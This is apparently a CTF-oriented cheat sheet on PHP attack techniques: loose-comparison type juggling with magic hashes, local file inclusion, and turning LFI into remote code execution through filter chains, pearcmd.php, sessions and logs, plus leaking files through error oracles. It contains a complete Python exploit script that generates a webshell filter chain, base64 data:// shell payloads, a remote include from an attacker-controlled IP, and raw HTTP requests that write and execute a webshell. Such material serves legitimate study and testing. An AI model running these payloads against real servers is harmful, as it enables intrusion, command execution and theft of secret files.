PHP

Some tricks specific to the PHP web programming language

pageWordPress

Type Juggling

When code uses == or != instead of === or !== the user may use certain strings to do weird stuff with PHP converting strings to integers

# true in PHP 4.3.0+
'0e0' == '0e1'
'0e0' == '0E1'
'10e2' == ' 01e3'
'10e2' == '01e3'
'10e2' == '1e3'
'010e2' == '1e3'
'010e2' == '01e3'
'10' == '010'
'10.0' == '10'
'10' == '00000000010'
'12345678' == '00000000012345678'
'0010e2' == '1e3'
'123000' == '123e3'
'123000e2' == '123e5'

# true in 5.2.1+
# false in PHP 4.3.0 - 5.2.0
'608E-4234' == '272E-3063'

# true in PHP 4.3.0 - 5.6.x
# false in 7.0.0+
'0e0' == '0x0'
'0xABC' == '0xabc'
'0xABCdef' == '0xabcDEF'
'000000e1' == '0x000000'
'0xABFe1' == '0xABFE1'
'0xe' == '0Xe'
'0xABCDEF' == '11259375'
'0xABCDEF123' == '46118400291'
'0x1234AB' == '1193131'
'0x1234Ab' == '1193131'

# true in PHP 4.3.0 - 4.3.9, 5.2.1 - 5.6.x
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0, 7.0.0+
'0xABCdef' == ' 0xabcDEF'
'1e1' == '0xa'
'0xe' == ' 0Xe'
'0x123' == ' 0x123'

# true in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0
# false in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2, 5.2.1 - 5.6.26, 7.0.0+
'0e0' == '0x0a'

# true in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.6.26, 7.0.0+
'0xe' == ' 0Xe.'

Magic Hashes

md5: 240610708:0e462097431906509019562988736854
sha1: aaroZmOk:0e66507019969427134894567494305185566735
sha256: 34250003024812:0e46289032038065916139621039085883773413820991920706299695051332

Comparison rules

In PHP (< 8.0) the following table of rules applies when loosely comparing variables:

For a complete and detailed guide on every possible comparison between types, see the PHP docs.

The "php" == 0 case was so weird, that from PHP 8.0 onward, this is no longer true. However, the "php" == true still works (see test).

Local File Inclusion

When some code uses the include, include_once, require or require_once keyword to include a file from user input (eg. $_GET['page']) you can include any file on the system using Directory Traversal.

The functions run PHP code in the files that are included. If you can upload any file, put PHP code in there, and when you include it, it will be executed.

If the response is PHP code, it will be executed and not shown to you, which could be a problem. If you want to read source-code of the .php files, you can use the following PHP filter to convert the file to base64 before interpreting it:

php://filter/convert.base64-encode/resource=index.php

You can read PHP files like this even if .php is appended to your input in the code. Because the last part of this PHP filter is .php you can just remove it and let the code add it back

RCE using PHP Filters

The main goal for getting RCE from LFI is to get some arbitrary content returned by the URL, which is then included and read as PHP code. If you control the start of the URL in some include function, you can use PHP Wrappers to get content from other places than straight from a file. The data:// wrapper for example can return arbitrary content, for example, using the base64 encoding:

PHP wrappers with a shell
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4=
http://$YOUR_IP/shell.php

However, in more recent versions of PHP, the allow_url_include= option which enables some of these wrappers is disabled by default. However, there is a really powerful technique that I came across recently found by loknop which combines lots of PHP filters to turn any file into arbitrary PHP code. For this, you only need to have control of the start to allow PHP wrappers, and then have a valid file anywhere to transform into PHP code. But you'll have a valid file anyway from the default functionality of the site, so this is pretty much a guarantee.

Example vulnerable code
<?php include $_GET["page"] + ".php" ?>

Read the writeup linked above to understand how they found it, but here's the basic idea:

  • convert.iconv.UTF8.CSISO2022KR will always prepend \x1b$)C to the string

  • convert.base64-decode is extremely tolerant, it will basically just ignore any characters that aren't valid base64.

Combining these and a lot of convert.iconv to convert between encodings, we can get any arbitrary base64 string that we can decode and include. Here's the exploit script used to automatically do this for a PHP shell, and then execute commands using it:

import requests

url = "http://localhost/index.php"  # CHANGE to vulnerable URL
file_to_use = "/etc/passwd"  # CHANGE to any file on target
command = "/readflag"  # CHANGE to command to be executed

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",    
    "file": final_payload   # CHANGE to parameter where file is included
})

print(r.text)

For arbitrary contents instead of just the <?=`$_GET[0]`;;?> needed here, check out the list of all base64 characters that Carlos Polop made. Synacktiv later also made a tool that automates it:

Payload: <?=`$_GET[0]`?>
?0=id&page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

RCE using pearcmd.php

Recently a new technique was developed for cases where you don't control the start of the include path. In such cases, you cannot use wrappers, but directory traversal using ../ is still possible. This opens up the possibility of using other existing PHP files on the system to execute arbitrary code, which the following writeup found a technique for:

Vulnerable code
<?php
include 'includes/' . $_GET['page'] . '.php';

This technique is especially useful if .php is appended to your input like many ?page= parameters. Because the /usr/local/lib/php/pearcmd.php file fits this requirement it is very usable. To interact with this script we use the query string which is passed as command-line arguments. The config-create subcommand allows us to write a file anywhere with some content we control, perfect for writing a webshell!

Even if the user has no write privileges to the webroot, we already have a directory traversal on the include function to be able to do this in the first place, so we can re-use it later to include the file we write executing the payload. We will write it to the /tmp folder with a simple shell that runs the ?0= parameter as a system command:

/tmp/shell.php
<?=`$_GET[0]`?>

Note that the config file we will write contains this string multiple times, so the command is executed and its output is included in the response multiple times. We first use the directory traversal to include the pearcmd.php file and write the config with a PHP shell:

Request 1
GET /?+config-create+/&page=../../../../usr/local/lib/php/pearcmd&/<?=`$_GET[0]`?>+/tmp/shell.php HTTP/1.1
Host: localhost

You should receive a verbose CONFIGURATION ... response if this was successful. Then the only thing left to do is execute our written webshell with the same vulnerability:

Request 2
GET /?page=../../../../tmp/shell&0=id HTTP/1.1
Host: localhost:8000
#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:70:"/&page=../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

Note: The /usr/local/lib/php/pearcmd.php file we abuse here does not exist on all setups. It is included in PHP < 7.3 by default, and version > 7.4 if the --with-pear option was used to compile it. Any official docker image however does include it, so in many instances, you will find this file.

RCE using Session file

Another way is using PHP sessions, which store your session data in /tmp/sess_[PHPSESSID] which you can access using your own PHPSESSID= cookie on the site. Anything saved to $_SESSION[] in the code will be saved to this file. If you put PHP code into your session and include it, the PHP code will be executed.

RCE using logs

You can include log files with your input in them, which can contain PHP code to be executed on include. The User-Agent is often saved to logs:

Common log file locations
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log

If you can't find the logs you might be able to find it by looking at the configuration of the server, you can include/read any file after all:

Common config file locations
/etc/apache2/apache2.conf
/opt/apache2/apache2.conf
/usr/local/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/etc/httpd/httpd.conf

Reading Files from error-based oracle

A trick using php://filter was shown in RCE using PHP Filters to craft any arbitrary string from any other content by chaining filters. It was discovered however that this idea could be brought even further in order to leak file content when it is not reflected. Here is a vulnerable code example:

<?php
file($_POST['file']);  // Open the file but don't do anything with it

This type of code may be common in a backend process that the user doesn't directly notice. While nothing is reflected back, an attacker can still leak the content of the file by carefully crafting PHP filters that expand exponentially when a certain character is in a certain place. By creating many of these filter chains they can begin to leak all the characters of the file one by one.

For a more technical breakdown, see the following writeup:

In the above post, they also include a tool for exploiting such vulnerabilities automatically by telling it your request endpoint and parameters:

In a real-world scenario, this could be used to potentially leak secret keys or passwords stored in files like config.php or .env. Another thing to keep in mind is that the error-based method might not work if a server treats warnings as errors. In such cases, you can use the alternative timing attack built-in because these high-memory operations take more time to exponentially grown than others.

$ python3 filters_chain_oracle_exploit.py --verb POST --target http://localhost:8000 --file '/flag.txt' --parameter 'file'
[*] The following URL is targeted : http://localhost:8000
[*] The following local file is leaked : /test
[*] Running GET requests
[+] File /flag leak is finished!
b'Q1RGe2Y0azNfZmw0Z19mMHJfdDNzdDFu'
b'CTF{f4k3_fl4g_f0r_t3st1n'

Tip: If your injection is more complex than a POST request with some extra parameters or headers, like a JSON format or multi-step process, you can try to change the requester.py -> req_with_response() function to include your custom flow.

Reading files using Prefix+Suffix format

The latest development in filter chain attacks for LFI is a way to add arbitrary prefixes and suffixes to a file's content, without any noise. This allows parsers expecting a specific format to validate/extract the part you want to leak without the original file having to have that format. It is best shown with an example:

Vulnerable code
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;

Normally, the above code expects a JSON-formatted file like {"message": "Hello, world"} and reads its message attribute back to the client. While an attacker can change the $_POST['url'] value to any URL, this would fail on the json_decode() function without actually showing the content. This is where the new technique and tool come in:

With the techniques outlined in the blog post, it can add characters to the front of the file's content, as well as to the end. The content itself will remain in the center, allowing a simple format like JSON or XML to drag it along to a response that the attacker can see. Then it becomes possible to leak big chunks of a file with a single request, instead of single bits with many requests like in the Reading Files from error-based oracle section.

$ ./wrapwrap.py <path> <prefix> <suffix> <nb_bytes>
$ ./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
[*] Dumping 1008 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=705031).

This file gets big quickly as you increase the prefix/suffix length, as well as the number of bytes. GET parameters are often limited by a maximum URI length, but POST parameters often lack this maximum and thus allow for giant filter chains like the one above.

Tip: Using this same technique, you can also simply use it to generate an arbitrary string like in RCE using PHP Filters without noise like non-ASCII characters. This allows you to exploit even more formats even when they are sanity-checked or parsed!

Last updated